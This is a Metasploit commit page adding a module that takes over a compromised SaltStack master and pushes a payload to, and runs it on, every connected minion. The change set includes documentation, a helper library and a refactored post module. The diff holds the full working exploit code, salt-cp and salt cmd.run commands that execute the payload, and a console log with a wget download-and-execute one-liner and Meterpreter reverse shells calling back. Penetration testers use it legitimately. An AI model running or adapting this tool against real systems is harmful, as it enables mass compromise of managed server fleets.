Skip to content

Commit

Permalink
Land #18626, SaltStack Minion Deployer
Browse files Browse the repository at this point in the history
This PR adds an exploit module which allows for
a user who has compromised a host acting as a
SaltStack Master to deploy payloads to the Minions
attached to that Master.
  • Loading branch information
jheysel-r7 committed Jan 23, 2024
2 parents 15652bc + 381b840 commit 904e344
Show file tree
Hide file tree
Showing 4 changed files with 306 additions and 19 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
## Vulnerable Application

This exploit module uses saltstack salt to deploy a payload and run it
on all targets which have been selected (default all).
Currently only works against nix targets.

### Vulnerable Host

A vulnerable host install can be found in this [Docker environment](https://github.com/vulhub/vulhub/blob/master/saltstack/CVE-2020-11651/docker-compose.yml).

## Verification Steps

1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use exploit/linux/local/saltstack_salt_minion_deployer`
1. Do: `set session [#]`
1. Do: `run`
1. You should get sessions on all the targeted hosts

## Options

### SALT

Location of salt-master executable if not in a standard location. This is added to a list of default locations
which includes `/usr/bin/salt-master`, `/usr/local/bin/salt-master`. Defaults to ``

### MINIONS

Which minions to target. Defaults to `*`

### WritableDir

A directory on the compromised host we can write our payload to. Defaults to `/tmp`

### TargetWritableDir

A directory on the target hosts we can write and execute our payload to. Defaults to `/tmp`

### CALCULATE

This will calculate how many hosts may be exploitable by using Ansible's ping command.

### ListenerTimeout

How many seconds to wait after executing the payload for hosts to call back.
If set to `0`, wait forever. Defaults to `60`

## Scenarios

### Minion 3002.2 on Ubuntu 20.04

Get initial access to the system. In this case, root was required to execute salt commands successfully.

```
resource (salt_deploy.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (salt_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (salt_deploy.rb)> set srvport 8181
srvport => 8181
resource (salt_deploy.rb)> set target 7
target => 7
resource (salt_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (salt_deploy.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/hvy2Ol
[*] Server started.
[*] Run the following command on the target machine:
wget -qO exVJILEV --no-check-certificate http://1.1.1.1:8181/hvy2Ol; chmod +x exVJILEV; ./exVJILEV& disown
[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 3.3.3.3
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 3.3.3.3:45200) at 2023-12-16 09:59:02 -0500
```

```
resource (salt_deploy.rb)> use exploit/linux/local/saltstack_salt_minion_deployer
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
resource (salt_deploy.rb)> set session 1
session => 1
resource (salt_deploy.rb)> set verbose true
verbose => true
resource (salt_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (salt_deploy.rb)> set lport 9996
lport => 9996
[msf](Jobs:1 Agents:0) exploit(linux/local/saltstack_salt_minion_deployer) >
[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) >
[*] Started reverse TCP handler on 1.1.1.1:9996
[*] Running automatic check ("set AutoCheck false" to disable)
[+] /tmp is writable, and salt-master executable found
[+] The target is vulnerable.
[*] Attempting to list minions
[*] minions:
- mac_minion
- salt-minion
- window-salt-minion
minions_denied: []
minions_pre: []
minions_rejected: []
[+] 3.3.3.3:45200 - minion file successfully retrieved and saved to /root/.msf4/loot/20231216100004_default_3.3.3.3_saltstack_minion_890818.yaml
[+] Minions List
============
Status Minion Name
------ -----------
Accepted mac_minion
Accepted salt-minion
Accepted window-salt-minion
[+] 3 minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
[*] Writing '/tmp/E76Azw' (336 bytes) ...
[*] Copying payload to minions
[*] Executing payloads
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:9996 -> 2.2.2.2:36850) at 2023-12-16 10:00:46 -0500
```
33 changes: 33 additions & 0 deletions lib/msf/core/exploit/local/saltstack.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
require 'yaml'

module Msf
module Exploit::Local::Saltstack
#
# lists minions using the salt-key command.
#
# @param salt_key_exe [String] The name location of the salt-key executable
# @return [YAML] YAML document with the minions listed
#
def list_minions(salt_key_exe = 'salt-key')
# pull minions from a master, returns hash of lists of the output
print_status('Attempting to list minions')
unless command_exists?(salt_key_exe)
print_error('salt-key not present on system')
return
end

begin
out = cmd_exec(salt_key_exe, '-L --output=yaml', datastore['TIMEOUT'])
vprint_status(out)
minions = YAML.safe_load(out)
rescue Psych::SyntaxError
print_error('Unable to load salt-key -L data')
return
end

store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list')
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
minions
end
end
end
141 changes: 141 additions & 0 deletions modules/exploits/linux/local/saltstack_salt_minion_deployer.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,141 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Saltstack

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Saltstack Minion Payload Deployer',
'Description' => %q{
This exploit module uses saltstack salt to deploy a payload and run it
on all targets which have been selected (default all).
Currently only works against nix targets.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'c2Vlcgo'
],
'Platform' => [ 'linux', 'unix' ],
'Stance' => Msf::Exploit::Stance::Passive,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [],
'DisclosureDate' => '2011-03-19', # saltstack salt original release date
'DefaultTarget' => 0,
'Passive' => true, # this allows us to get multiple shells calling home
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('SALT', [true, 'salt-master executable location', '']),
OptString.new('MINIONS', [true, 'Minions Target', '*']),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('TargetWritableDir', [ true, 'A directory where we can write and execute files on targets', '/tmp' ]),
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]),
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run in seconds', 120])
]
end

def salt_master
return @salt if @salt

[datastore['SALT'], '/usr/bin/salt-master', '/usr/local/bin/salt-master'].each do |exec|
next unless executable?(exec)

@salt = exec
return @salt
end
@salt
end

def list_minions_printer
minions = list_minions
return if minions.nil?

tbl = Rex::Text::Table.new(
'Header' => 'Minions List',
'Indent' => 1,
'Columns' => ['Status', 'Minion Name']
)

count = 0
minions['minions'].each do |minion|
tbl << ['Accepted', minion]
count += 1
end

print_good(tbl.to_s)

# https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017
print_good("#{count} minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")
Rex.sleep(10)
count
end

def check
return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil?

CheckCode::Vulnerable('salt-master executable found')
end

def exploit
# Make sure we can write our exploit and payload to the local system
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
count = 1 # default to running if we decide not to calculate
count = list_minions_printer if datastore['CALCULATE']
fail_with Failure::NotFound, 'No exploitable minions found.' if count == 0

payload_name = rand_text_alphanumeric(5..10)

# due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe)

print_status('Copying payload to minions')
cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'")
print_status('Executing payloads')
cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'")

# stolen from exploit/multi/handler
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)

Rex::ThreadSafe.sleep(1)
end
end

def on_new_session(_session)
super
cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi')

begin
print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}")
cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}")
print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed")
rescue StandardError
print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}")
end
end

end
25 changes: 6 additions & 19 deletions modules/post/multi/gather/saltstack_salt.rb
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@

class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Exploit::Local::Saltstack

def initialize(info = {})
super(
Expand Down Expand Up @@ -138,31 +139,17 @@ def gather_minion_data
end
end

def list_minions
# pull minions from a master
print_status('Attempting to list minions')
unless command_exists?('salt-key')
print_error('salt-key not present on system')
return
end
begin
out = cmd_exec('salt-key', '-L --output=yaml', datastore['TIMEOUT'])
vprint_status(out)
minions = YAML.safe_load(out)
rescue Psych::SyntaxError
print_error('Unable to load salt-key -L data')
return
end
def list_minions_printer
minions = list_minions
return if minions.nil?

tbl = Rex::Text::Table.new(
'Header' => 'Minions List',
'Indent' => 1,
'Columns' => ['Status', 'Minion Name']
)

store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list')
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
minions['minions'].each do |minion|
minions.each do |minion|
tbl << ['Accepted', minion]
end
minions['minions_pre'].each do |minion|
Expand Down Expand Up @@ -198,7 +185,7 @@ def minion
end

def master
list_minions
list_minions_printer
gather_minion_data if datastore['GETOS'] || datastore['GETHOSTNAME'] || datastore['GETIP']

# get sls files
Expand Down

0 comments on commit 904e344

Please sign in to comment.